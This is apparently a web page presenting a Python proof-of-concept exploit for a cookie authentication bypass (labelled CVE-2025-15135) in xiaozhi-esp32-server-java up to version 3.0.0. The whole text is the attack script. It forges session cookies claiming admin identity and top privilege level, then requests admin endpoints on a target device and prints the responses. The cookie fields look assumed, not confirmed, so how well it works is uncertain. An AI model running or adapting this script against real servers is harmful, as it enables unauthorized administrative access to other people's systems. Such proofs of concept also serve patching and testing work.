CVE-2025-15135 | xiaozhi-esp32-server-java Cookie认证绕过漏洞

import requests import json # CVE-2025-15135 PoC - Cookie Authentication Bypass # Target: xiaozhi-esp32-server-java <= 3.0.0 def exploit_cookie_bypass(target_url): """ Exploit for CVE-2025-15135 Cookie Handler Authentication Bypass via tryAuthenticateWithCookies """ # Step 1: Obtain a valid session cookie through normal login or observation initial_cookie = { 'session_id': 'test_session', 'user_id': 'attacker_controlled_id', 'auth_level': '1' } # Step 2: Craft malicious cookie with elevated privileges # The vulnerable function does not properly validate cookie integrity malicious_cookie = { 'session_id': 'valid_session_from_legitimate_user', 'user_id': 'admin', # Attempt privilege escalation 'auth_level': '999', # Try to set highest privilege level 'is_admin': 'true' } # Step 3: Send request with malicious cookie headers = { 'Cookie': '; '.join([f'{k}={v}' for k, v in malicious_cookie.items()]) } # Target protected endpoints protected_endpoints = [ '/api/admin/users', '/api/admin/config', '/api/admin/system' ] for endpoint in protected_endpoints: url = f'{target_url}{endpoint}' response = requests.get(url, headers=headers) print(f'Endpoint: {endpoint}') print(f'Status: {response.status_code}') print(f'Response: {response.text[:200]}') print('-' * 50) # Usage if __name__ == '__main__': target = 'http://target-device:8080' exploit_cookie_bypass(target)